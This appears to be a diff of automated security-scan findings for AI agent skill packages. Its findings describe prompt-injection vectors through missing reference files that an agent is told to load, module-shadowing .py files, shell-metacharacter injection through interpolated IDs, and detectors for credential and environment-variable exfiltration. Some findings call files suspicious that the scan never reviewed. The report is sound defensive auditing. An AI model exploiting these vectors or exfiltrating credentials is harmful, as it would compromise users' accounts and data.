instructions, those instructions will be loaded into the agent's context and potentially executed. The missing files represent an especially high risk as they could be added later with malicious content.+ > File: `SKILL.md`+ > **Remediation:** Treat all dynamically loaded reference files as potentially untrusted. Implement content validation before loading reference files. Avoid instructing the agent to blindly follow instructions from loaded files. Consider embedding critical instructions directly in SKILL.md rather than delegating to external files.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Undisclosed Python Scripts Hidden from Skill Submission- > The file inventory reports 32 total files including 10 Python files, but no Python script files were provided for review in the skill submission. The skill manifest does not declare allowed-tools, and the referenced flowio.py is listed as 'not found'. This concealment of 10 Python files from security review, combined with static analysis findings of exfiltration behavior, suggests deliberate obfuscation of the skill's true capabilities. The skill presents itself as a simple FCS file parser but may contain hidden functionality.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Multiple Missing Referenced Files Create Unverifiable Trust Surface+ > The skill references 16 files across templates/, assets/, and references/ directories, of which 10 are not found. The missing files include templates/configuration.md, templates/data-operations.md, assets/app-development.md, assets/data-operations.md, assets/job-execution.md, assets/configuration.md, templates/python-sdk.md, templates/job-execution.md, templates/app-development.md, and assets/python-sdk.md. The instructions direct the agent to 'Load these references when you need detailed information,' meaning the agent will dynamically load and follow instructions from these files when they are present. If these files are later populated with malicious content, they could inject instructions into the agent's context.> File: `SKILL.md`- > **Remediation:** All Python and Bash scripts in the skill package must be disclosed and reviewed. Do not deploy skills where script content is withheld from security analysis. Require full transparency of all executable files before approval.+ > **Remediation:** Ensure all referenced files are present and audited before deployment. Do not deploy skills with missing referenced files that the agent is instructed to load dynamically. Audit all reference files for injected instructions before use.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — External Reference File Not Found (templates/api_reference.md, assets/api_reference.md)- > The SKILL.md instructions reference 'references/api_reference.md' for detailed API guidance, and the static scan also lists 'templates/api_reference.md' and 'assets/api_reference.md' as referenced but not found. While the primary reference file was provided and appears benign, missing referenced files could be populated with malicious instructions at runtime or represent incomplete package validation. This is a low-severity concern given the benign content of the found reference file.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License Information+ > The skill manifest declares 'license: Unknown'. For a skill that handles sensitive genomics data, authentication tokens, and cloud platform credentials, the absence of a clear license creates ambiguity about the skill's provenance, trustworthiness, and legal standing. This is a minor metadata concern but contributes to overall supply chain risk assessment.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are present in the skill package and reviewed before deployment. Missing files should cause skill validation to fail rather than silently proceed.+ > **Remediation:** Specify a valid open source license (e.g., MIT, Apache-2.0) in the manifest. Ensure the skill-author information is verifiable and the package has clear provenance documentation.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Exfiltration and Cross-File Exfiltration Chain- > The pre-scan static analysis detected BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files. While the provided SKILL.md and references/api_reference.md appear benign and focused on FCS file parsing, the static analyzer identified Python files in the package (10 Python files total in the file inventory) that were not surfaced in the skill submission. The referenced flowio.py was listed as 'not found' in the provided content, yet 10 Python files exist in the package. This discrepancy strongly suggests hidden Python scripts that read environment variables and make network calls — a classic data exfiltration pattern. The skill claims to be a lightweight FCS file parser with no network requirements, making any network calls highly suspicious.- > File: `references/api_reference.md`- > **Remediation:** Audit all 10 Python files in the package for environment variable access (os.environ, os.getenv) combined with network calls (requests, urllib, socket, httpx). Remove any code that reads credentials or environment variables and transmits them externally. Ensure all Python files are disclosed and reviewed before deployment.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls (Cross-File Exfiltration Chain)+ > Static analysis flagged a cross-file exfiltration chain involving environment variable access and network calls across 2 files. The skill references multiple files that are not found (assets/, templates/ directories), and a suspicious 'dxpy.py' file is referenced but not found. The references/python-sdk.md shows patterns for setting API tokens via environment variables (DX_SECURITY_CONTEXT) and making network calls. The combination of env var harvesting and network transmission patterns detected across files suggests a potential data exfiltration chain where credentials or tokens could be captured and sent externally.+ > File: `references/python-sdk.md`+ > **Remediation:** Audit all referenced files (especially the missing assets/ and templates/ directories) to ensure no scripts harvest DX_SECURITY_CONTEXT or other credential environment variables and transmit them externally. Verify the missing 'dxpy.py' file is not a malicious shadow of the legitimate dxpy library. Ensure the skill does not read authentication tokens and forward them to external endpoints.-### geniml — 🟠 HIGH+### flowio — 🟠 HIGH-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in the YAML manifest. Given that the package contains 10 Python files (per static analysis inventory) and references Bash CLI commands extensively, the absence of tool restrictions means the agent has no declared boundary on what tools it may invoke. While missing allowed-tools is informational per spec, combined with the detected exfiltration chain patterns, this increases risk surface.- > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest restricting the skill to only the tools it legitimately requires (e.g., Python, Bash). This provides a documented boundary for security review and runtime enforcement.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Exfiltration and Cross-File Exfiltration Chain+ > The pre-scan static analysis reports three significant behavioral findings: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (a 2-file cross-file exfiltration chain), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file environment variable exfiltration across 2 files). The skill package claims to contain no script files in the submitted content, yet the static analyzer reports 10 Python files in the inventory. This discrepancy means the submitted skill content is incomplete — the Python scripts that triggered these findings were not provided for review. The combination of environment variable harvesting and network calls in a multi-file chain is a strong indicator of credential/secret exfiltration behavior. The skill's stated purpose (FCS file parsing) does not require environment variable access or outbound network calls beyond pip install.+ > **Remediation:** Audit all 10 Python files in the package. Identify which files access environment variables (os.environ, os.getenv) and which make network calls (requests, urllib, socket, etc.). Remove any code that reads environment variables and transmits them externally. Ensure the skill only reads user-provided FCS files and writes output locally. If network calls are needed only for pip install, they should not appear in runtime code.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access with Network Exfiltration Chain- > Static analysis flagged a cross-file exfiltration chain involving environment variable access combined with network calls across 2 files. Although the provided skill content (SKILL.md and referenced markdown files) appears benign and focused on genomic ML workflows, the pre-scan static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN patterns in the full 32-file package (22 markdown, 10 Python files). The 10 Python files were not provided for review but are present in the package. These unreferenced or unshown Python scripts may contain credential harvesting (e.g., reading AWS keys, SSH keys, or environment tokens) followed by exfiltration to external endpoints. The skill references several non-existent files (geniml.py, scanpy.py, and multiple template/asset files) which could be placeholders for malicious scripts that are loaded at runtime.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Discrepancy Between Submitted Script Content and Actual File Inventory+ > The skill submission states 'No script files found' yet the static file inventory reports 32 total files including 10 Python scripts. This concealment of script content — whether intentional or due to packaging — prevents full security review and inflates the apparent safety of the skill. A skill that hides its executable components while those components perform suspicious operations (as flagged by static analysis) represents a capability inflation/concealment risk.> File: `SKILL.md`- > **Remediation:** Audit all 10 Python files in the package for environment variable access (os.environ, os.getenv) combined with network calls (requests, urllib, socket). Verify that no credentials or environment data are transmitted to external endpoints. Ensure geniml.py and scanpy.py are reviewed before deployment. Remove or sandbox any Python files not explicitly needed by the skill.+ > **Remediation:** Ensure all Python and Bash scripts in the skill package are included in security reviews. The SKILL.md allowed-tools field should be specified to declare what capabilities the skill uses. All executable scripts should be audited against the stated purpose of FCS file parsing.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description May Trigger Unintended Activation- > The skill description is highly comprehensive, listing numerous specific genomic ML use cases, tool names, data types, and workflows. While this is largely appropriate for a specialized bioinformatics skill, the description includes broad activation triggers such as 'any ML-based analysis of genomic regions' and 'BED file collections, scATAC-seq data, chromatin accessibility datasets, and region-based genomic feature learning'. This broad framing could cause the skill to activate in contexts beyond its intended scope, potentially exposing users to the unreviewed Python scripts in the package.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata+ > The SKILL.md manifest does not specify the 'allowed-tools' or 'compatibility' fields. While these are optional per the spec, their absence combined with the presence of 10 undisclosed Python scripts and static analysis flags for network/env-var access means there is no declared boundary on what tools or capabilities this skill may invoke. This makes it harder to detect violations.> File: `SKILL.md`- > **Remediation:** Narrow the activation description to specific, well-defined use cases. Avoid 'any ML-based analysis' phrasing. Ensure the description accurately reflects only the capabilities implemented in audited, reviewed code.--- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Multiple Referenced Files Missing — Potential Hidden Capability Loading- > The SKILL.md references 17 files across assets/, references/, and templates/ directories, but 11 of these are listed as 'not found'. This includes geniml.py and scanpy.py (Python scripts), as well as templates/scembed.md, templates/bedspace.md, templates/region2vec.md, templates/utilities.md, templates/consensus_peaks.md, assets/consensus_peaks.md, assets/utilities.md, assets/scembed.md, and assets/bedspace.md. The presence of 10 Python files in the package inventory that are not surfaced for review, combined with missing referenced files, suggests the skill may load instructions or code from files not visible in this analysis. This creates a tool exploitation risk where hidden files could alter agent behavior.- > File: `references/consensus_peaks.md`- > **Remediation:** Enumerate and review all files in the skill package. Ensure all referenced files are accounted for and their content is audited. Do not deploy skills with unresolved file references. Verify that geniml.py and scanpy.py do not contain malicious logic.+ > **Remediation:** Add 'allowed-tools' to the YAML frontmatter to explicitly declare which agent tools are permitted (e.g., [Read, Write, Python]). This enables automated detection of capability violations and improves transparency.### geomaster — 🟠 HIGH-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Keyword Baiting in Description- > The skill's description is extremely broad, claiming to cover '30+ scientific domains', '8 programming languages', '500+ code examples', and explicitly instructs activation for 'any geospatial computation task'. This over-broad framing is designed to maximize activation frequency and could cause the agent to invoke this skill for a very wide range of tasks, potentially displacing more appropriate or specialized tools. The phrase 'Use for... any geospatial computation task' is a direct activation priority manipulation pattern.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Hardcoded Credential Placeholder in COG Example+ > The Cloud-Optimized GeoTIFF example in SKILL.md shows AWS credentials being passed directly as keyword arguments to AWSSession with ellipsis placeholders. While these are placeholders and not actual credentials, the pattern encourages users to hardcode AWS credentials directly in code rather than using environment variables or IAM roles. This is a security anti-pattern that could lead to credential exposure if users follow the example literally.> File: `SKILL.md`- > **Remediation:** Narrow the description to specific, well-defined capabilities. Remove the 'any geospatial computation task' catch-all phrase. Define clear activation criteria rather than maximizing trigger surface.+ > **Remediation:** Replace the hardcoded credential example with a pattern using environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) or boto3 session with profile-based authentication. Add a comment warning against hardcoding credentials.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies in Installation Instructions- > The installation section specifies packages without version pins (e.g., 'uv pip install rsgislib torchgeo earthengine-api'). Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be installed. This is particularly concerning for less-common geospatial packages like rsgislib, torchgeo, and planetary-computer which have smaller maintainer communities.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description+ > The skill description claims support for '30+ scientific domains', '8 programming languages', '500+ code examples', and 'any geospatial computation task'. The phrase 'any geospatial computation task' is an over-broad capability claim that could cause the agent to activate for a very wide range of requests beyond its actual scope. While the skill does cover substantial geospatial ground, the 'any' qualifier inflates perceived capabilities and could lead to inappropriate activation.> File: `SKILL.md`- > **Remediation:** Pin all package versions to known-good releases (e.g., 'uv pip install torchgeo==0.5.2'). Use a lock file (requirements.txt or pyproject.toml with locked dependencies) to ensure reproducible and auditable installations.+ > **Remediation:** Replace 'any geospatial computation task' with a specific enumeration of supported task types. Avoid open-ended qualifiers like 'any' in skill descriptions.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill does not declare an allowed-tools field in its YAML manifest. While this field is optional per the agent skills spec, the skill instructs the agent to install packages, execute Python code, run bash commands, and perform file I/O operations. Without explicit tool restrictions, the agent has no declared boundary on what tools this skill may invoke, including potentially destructive operations like package installation via conda/pip.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Versions in Installation Instructions+ > The installation section recommends installing multiple packages without version pins (e.g., 'uv pip install rsgislib torchgeo earthengine-api', 'uv pip install scikit-learn xgboost torch-geometric', etc.). Unpinned dependencies are vulnerable to supply chain attacks where a malicious version of a package could be published and automatically installed. This is particularly concerning for less-maintained packages like rsgislib, torchgeo, and keplergl.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest listing only the tools required for the skill's legitimate operations. Consider whether package installation commands should be included in the skill's scope at all.+ > **Remediation:** Pin all package versions to known-good releases (e.g., 'rasterio==1.3.9'). Use a lockfile (requirements.txt or pyproject.toml with locked dependencies) to ensure reproducible and safe installations.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — eval/exec Usage Detected in Code Examples- > Static analysis flagged Python code blocks containing eval or exec usage within the skill's markdown files. While the specific instances appear to be within legitimate geospatial code examples (e.g., viewshed ray casting, batch processing), the presence of eval/exec patterns in instructional code that an agent may execute or adapt represents a potential code injection risk if user-supplied data flows into these constructs without sanitization.- > File: `references/code-examples.md`- > **Remediation:** Review all code examples containing eval/exec to ensure no user-controlled input can flow into these calls. Add explicit comments in examples warning against using eval/exec with untrusted input. Prefer safer alternatives in example code.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Many Referenced Files Not Found in Package+ > A large number of files referenced in the SKILL.md instructions are not present in the skill package (e.g., assets/industry-applications.md, assets/programming-languages.md, osmnx.py, geopandas.py, rasterio.py, ee.py, etc.). The presence of .py filenames that shadow well-known Python packages (rasterio.py, geopandas.py, sklearn.py, networkx.py, osmnx.py, dask.py, osgeo.py, ee.py) is particularly suspicious. If these files were present, they could shadow legitimate installed packages and execute malicious code when imported.+ > File: `SKILL.md`+ > **Remediation:** Remove references to non-existent files. Critically, never include .py files in a skill package that share names with popular Python packages (rasterio.py, geopandas.py, etc.) as these would shadow legitimate library imports and could be used for dependency confusion attacks. Audit the full file list and remove or rename any such files if they exist.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Hardcoded Credential Placeholders in Code Examples- > Multiple code examples in the skill reference API keys and credentials using placeholder patterns (YOUR_API_KEY, YOUR_ACCESS_TOKEN) and also show credential-bearing API calls. While these are placeholders, the patterns normalize storing credentials in code and could encourage insecure practices. Additionally, the COG example shows AWS credentials being passed directly to rasterio session objects.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Hardcoding Pattern in Data Sources Reference+ > The references/data-sources.md file contains multiple examples where API keys are referenced as bare variables (YOUR_API_KEY, YOUR_ACCESS_TOKEN) in code examples for Google Maps Platform, Mapbox, and OpenWeatherMap. While these are placeholders, the pattern does not demonstrate secure credential handling (e.g., environment variables, secrets managers), potentially encouraging insecure practices.> File: `references/data-sources.md`- > **Remediation:** Replace credential placeholder patterns with references to environment variables or secrets managers (e.g., os.environ['GOOGLE_MAPS_API_KEY']). Add explicit security notes in examples advising against hardcoding credentials.+ > **Remediation:** Replace bare variable references with os.environ.get('GOOGLE_MAPS_API_KEY') or similar environment variable patterns. Add explicit comments warning against hardcoding API keys in source code.- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands> Code block in references/gis-software.md at line 290 contains potentially dangerous Python code.@@ -1654,53 +1640,47 @@### histolab — 🟠 HIGH-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Field in YAML Manifest- > The skill manifest does not specify the `allowed-tools` field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be used. The skill instructs the agent to execute Python code, write files (thumbnails, tiles, CSVs), and read WSI files. Declaring allowed tools would improve transparency and reduce the risk of unintended tool use.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Several Referenced Files Are Missing from the Skill Package+ > The skill references numerous files that are not present in the package: matplotlib.py, PIL.py, histolab.py, assets/slide_management.md, assets/tile_extraction.md, assets/visualization.md, assets/tissue_masks.md, assets/filters_preprocessing.md, templates/slide_management.md, templates/tile_extraction.md, templates/filters_preprocessing.md, templates/tissue_masks.md, templates/visualization.md. While the core reference files (references/*.md) are present, the missing files could indicate an incomplete package. If the agent attempts to load these missing files from external or user-provided sources to compensate, this could introduce indirect prompt injection or data exposure risks.+ > File: `SKILL.md`+ > **Remediation:** Audit and remove references to non-existent files from the skill package, or include the missing files. Ensure the agent does not attempt to fetch missing referenced files from external sources. The core references/ directory files are present and sufficient for the skill's documented functionality.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the `allowed-tools` field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill may invoke. The skill instructs the agent to execute Python code, read/write files (thumbnails, tiles, reports), and use Bash for package installation. Declaring allowed tools would improve transparency and reduce the risk of unintended tool use.+ > File: `SKILL.md`+ > **Remediation:** Add an explicit `allowed-tools` field to the YAML frontmatter, e.g.: `allowed-tools: [Python, Bash, Read, Write]`. This documents intended tool usage and helps agent runtimes enforce appropriate restrictions.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation via uv pip install+ > The SKILL.md instructions recommend installing histolab and pooch using `uv pip install histolab` and `uv pip install pooch` without version pins. This means the agent may install any available version of these packages, including potentially compromised future versions. While histolab is a legitimate, well-known digital pathology library, unpinned installs are a supply chain hygiene concern.> File: `SKILL.md`- > **Remediation:** Add an explicit `allowed-tools` field to the YAML frontmatter, e.g., `allowed-tools: [Read, Write, Python, Bash]`, to clearly document the intended tool scope.+ > **Remediation:** Pin package versions in installation instructions, e.g.: `uv pip install histolab==0.7.0 pooch==1.8.1`. This ensures reproducibility and protects against supply chain attacks via version substitution.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Use of cv2.CV_64F Constant in Code Block (Static Analyzer False Positive)- > The static analyzer flagged a Python code block in references/filters_preprocessing.md that uses `cv2.Laplacian(np.array(gray_image), cv2.CV_64F).var()`. The `cv2.CV_64F` is an OpenCV numeric constant (integer value), not a call to `eval()` or `exec()`. The comment in the code itself clarifies this: '# cv2.CV_64F is an OpenCV constant, not Python eval()'. There is no actual eval/exec usage in this skill. This is a false positive from the static analyzer pattern-matching on the string 'CV_64F' or similar. No actual command injection risk exists here.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — eval/exec Usage in Code Example (cv2.CV_64F Context)+ > The static analyzer flagged a Python code block using eval/exec. Upon inspection, the reference in references/filters_preprocessing.md uses `cv2.Laplacian(np.array(gray_image), cv2.CV_64F).var()` where `cv2.CV_64F` is an OpenCV constant (not a Python eval() call). The comment in the code explicitly clarifies this: '# cv2.CV_64F is an OpenCV constant, not Python eval()'. There is no actual eval() or exec() call present in any of the code blocks. The static analyzer appears to have produced a false positive. No genuine command injection risk exists in this context.> File: `references/filters_preprocessing.md`- > **Remediation:** No remediation needed. This is a false positive. The code uses a standard OpenCV constant, not eval/exec. The inline comment already clarifies this distinction.+ > **Remediation:** No remediation required. The code is safe. The comment already clarifies the nature of cv2.CV_64F. Consider renaming or restructuring the code example to avoid triggering static analysis false positives if desired.- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec> Code block in references/filters_preprocessing.md at line 487 contains potentially dangerous Python code.> File: `references/filters_preprocessing.md:487`> **Remediation:** Review the code block for security implications.-### latchbio-integration — 🟠 HIGH--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Unresolvable Environment Variable Exfiltration and Cross-File Exfiltration Chain- > The pre-scan static analysis detected BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 2 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file environment variable exfiltration across 2 files). The skill package includes 2 Python files per the file inventory, but neither was provided for review. The missing latch.py file is a prime candidate for containing this behavior. This pattern — reading environment variables (potentially containing API keys, tokens, credentials) and transmitting them via network calls — constitutes a data exfiltration risk that cannot be fully assessed without the actual Python source files.- > **Remediation:** Immediately obtain and audit the 2 Python files flagged by static analysis. Look for: (1) os.environ or os.getenv calls harvesting credentials/tokens, (2) requests.post/get or similar network calls sending data to external endpoints, (3) any chained read-then-send patterns. Do not deploy this skill until all Python source files have been reviewed and cleared of exfiltration behavior.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Multiple Referenced Files Not Found in Skill Package- > The SKILL.md references numerous files that are not present in the skill package: assets/data-management.md, assets/verified-workflows.md, assets/workflow-creation.md, latch.py, templates/resource-configuration.md, assets/resource-configuration.md, templates/workflow-creation.md, templates/verified-workflows.md, templates/data-management.md. The absence of latch.py is particularly notable given the pre-scan static findings flagging environment variable exfiltration and cross-file exfiltration chains involving Python files. These missing files could not be analyzed for malicious content.- > File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package. The missing latch.py file is especially concerning given static analysis flags for environment variable exfiltration and cross-file exfiltration chains. Audit and include all referenced files before deployment.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license (listed as 'Unknown') and does not declare compatibility information. While the allowed-tools field is optional, missing license information reduces transparency and provenance clarity for users deploying this skill.- > File: `SKILL.md`- > **Remediation:** Add a valid SPDX license identifier (e.g., 'MIT', 'Apache-2.0') and specify compatibility information in the YAML frontmatter. Also consider declaring allowed-tools for clarity.-### modal — 🟠 HIGH-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Manifest Field- > The SKILL.md manifest does not specify the allowed-tools field. While this is optional per the agent skills spec, documenting it would help clarify what agent capabilities this skill requires (Bash for modal CLI commands, Python for code execution).+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill does not declare an `allowed-tools` field in its YAML manifest. While this is optional per the agent skills spec, the skill instructs the agent to read environment variables (MODAL_TOKEN_ID, MODAL_TOKEN_SECRET), read .env files, and execute bash/python commands. Declaring allowed tools would improve transparency about the skill's intended capabilities.> File: `SKILL.md`- > **Remediation:** Consider adding 'allowed-tools: [Bash, Python]' to the YAML frontmatter to explicitly document the tools this skill uses.+ > **Remediation:** Add an explicit `allowed-tools` declaration to the YAML frontmatter, e.g., `allowed-tools: [Bash, Python, Read]` to document the expected tool usage.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Missing Referenced Files- > The skill references numerous files that do not exist in the package (templates/volumes.md, assets/web-endpoints.md, torch.py, modal.py, script.py, transformers.py, vllm.py, and many assets/* and templates/* files). While this does not represent an active security threat, missing referenced files could cause the agent to attempt to read non-existent resources or behave unexpectedly. The files torch.py, modal.py, transformers.py, and vllm.py are particularly notable as they share names with popular Python packages, which could cause confusion.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Many Unreferenced/Missing Files Listed as References+ > The skill references a large number of files (templates/*, assets/*, and several .py files like modal.py, transformers.py, torch.py, script.py, vllm.py) that do not exist in the package. While the core references/* files are present and legitimate, the presence of many missing template and asset files, as well as Python file references, could indicate an incomplete package or placeholder references that might confuse the agent about available resources.> File: `SKILL.md`- > **Remediation:** Audit and remove references to non-existent files, or add the missing files to the skill package. Rename any placeholder files to avoid confusion with popular Python package names.+ > **Remediation:** Remove references to non-existent files from the SKILL.md instructions, or include the missing files in the package. This prevents the agent from attempting to read files that don't exist.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Examples- > The static analyzer flagged a potential eval/exec usage in a Python code block. Reviewing the content, the reference in references/functions.md mentions `self.model.eval()` in a comment context ('PyTorch inference mode — not Python's built-in eval()'). This is PyTorch's model evaluation mode method, not Python's built-in eval() function used for code execution. The comment explicitly clarifies this distinction. No actual dangerous eval/exec usage for arbitrary code execution was found in the skill's code examples.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval() Usage in Code Examples (Model.eval() - False Positive Context)+ > The static analyzer flagged a Python code block containing 'eval'. Upon inspection, the reference in references/functions.md is `self.model.eval()` which is PyTorch's model evaluation mode method, not Python's built-in `eval()` function for arbitrary code execution. This is a false positive from the static scanner. No actual dangerous eval/exec usage was found in any code examples across the skill package.> File: `references/functions.md`- > **Remediation:** No action required. The comment already clarifies this is PyTorch's .eval() method, not Python's built-in eval(). The static analyzer produced a false positive here.+ > **Remediation:** No action required. The comment in the file already clarifies this is PyTorch's eval() method, not Python's built-in eval(). The skill author has proactively documented this distinction.- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec> Code block in references/functions.md at line 82 contains potentially dangerous Python code.@@ -1727,68 +1707,101 @@> File: `references/web-endpoints.md:149`> **Remediation:** Review the code block for security implications.+### paperzilla — 🟠 HIGH++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Potential eval/exec + subprocess Pattern in Python Scripts+ > The pre-scan static analysis flagged 'eval/exec combined with subprocess detected' in the Python files associated with this skill package. Although the Python scripts were not provided for direct review, this pattern is a strong indicator of dangerous code execution behavior. Combining eval/exec with subprocess can allow arbitrary code execution, potentially enabling data exfiltration, credential theft, or system compromise. This is especially concerning given the skill's access to authenticated CLI sessions (via 'pz login') and network-connected Paperzilla services.+ > **Remediation:** Audit all Python files in the skill package for eval(), exec(), and subprocess calls. Replace eval/exec with safe alternatives. Ensure subprocess calls use argument lists (not shell=True with string interpolation). Remove any dynamic code execution patterns that are not strictly necessary for the skill's stated functionality.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated CLI Arguments Passed to Shell Commands+ > The skill instructs the agent to construct and execute 'pz' CLI commands using user-supplied input (e.g., project IDs, paper IDs, feedback reasons, date strings). If the agent interpolates user-provided values directly into shell commands without sanitization, this creates a command injection risk. For example, a malicious project-id containing shell metacharacters (semicolons, backticks, pipes) could cause unintended command execution on the user's machine. The pre-scan context also flags 'eval/exec combined with subprocess detected' in the Python files, which amplifies this concern.+ > File: `SKILL.md`+ > **Remediation:** Ensure the agent always passes user-supplied values as discrete arguments (not interpolated shell strings) when constructing CLI calls. Use argument arrays rather than shell string interpolation. Validate and sanitize project IDs, paper IDs, and other user inputs before use in shell commands. Review the Python scripts (flagged by static analysis) for eval/exec+subprocess patterns and replace with safe subprocess argument lists.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Authenticated CLI Session Exposure Risk+ > The skill instructs users to authenticate via 'pz login', which stores credentials or tokens locally. The skill then directs the agent to run authenticated CLI commands. If the agent environment is compromised or if command injection is achieved (see related finding), the authenticated session could be leveraged to exfiltrate private research data, project feeds, canonical papers, and personal recommendation history from Paperzilla's servers. The skill also exposes a personal Atom feed URL (via --atom flag) which could leak private research interests.+ > File: `SKILL.md`+ > **Remediation:** Document the credential storage mechanism and ensure tokens are stored securely (e.g., OS keychain). Warn users about the sensitivity of the --atom feed URL (it is personal and should not be shared). Ensure the PZ_API_URL environment variable cannot be overridden by untrusted input to redirect API calls to a malicious server.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill manifest does not declare an 'allowed-tools' field. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be invoked. The skill instructs the agent to run CLI commands via Bash, so declaring allowed-tools would improve transparency and reduce the attack surface.+ > File: `SKILL.md`+ > **Remediation:** Add 'allowed-tools: [Bash]' (or the appropriate set) to the YAML frontmatter to explicitly declare which tools this skill requires.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing compatibility Declaration+ > The skill manifest does not specify a 'compatibility' field. This reduces transparency about which environments the skill is intended to run in, making it harder for users and administrators to assess deployment risk.+ > File: `SKILL.md`+ > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Claude.ai, Claude Code, API').+### parallel-web — 🟠 HIGH-- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Unvalidated Shell Variable Interpolation in Bash Commands (Command Injection Risk)- > Throughout the skill's reference files, user-supplied arguments are interpolated directly into bash commands using shell variables like $ARGUMENTS, $RUN_ID, $FILENAME, $INTERACTION_ID, and $TASKGROUP_ID without any sanitization or quoting validation. While the commands use double-quoted variables (e.g., "$ARGUMENTS"), the instructions do not enforce input validation before substitution. A malicious user could craft input containing shell metacharacters or command substitution sequences (e.g., backticks, $(), semicolons) that could lead to command injection when the agent constructs and executes these bash commands.- > **Remediation:** Instruct the agent to sanitize user-supplied arguments before shell interpolation. Use argument arrays instead of string interpolation where possible. Validate that $RUN_ID, $TASKGROUP_ID, and $INTERACTION_ID match expected formats (e.g., alphanumeric/UUID patterns) before use. Consider using Python subprocess with argument lists rather than shell string interpolation.+- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Unvalidated RUN_ID and TASKGROUP_ID Interpolated into Shell Commands+ > The SKILL.md instructions and referenced files construct shell commands using $RUN_ID and $TASKGROUP_ID variables that are derived from parsed command output. If the parallel-cli service or a man-in-the-middle response returns a maliciously crafted run_id or taskgroup_id containing shell metacharacters, these would be interpolated directly into subsequent shell commands, enabling command injection.+ > File: `SKILL.md`+ > **Remediation:** Validate that run_id and taskgroup_id values match expected formats (e.g., UUID pattern) before using them in shell commands. Use allowlist validation and reject values containing shell 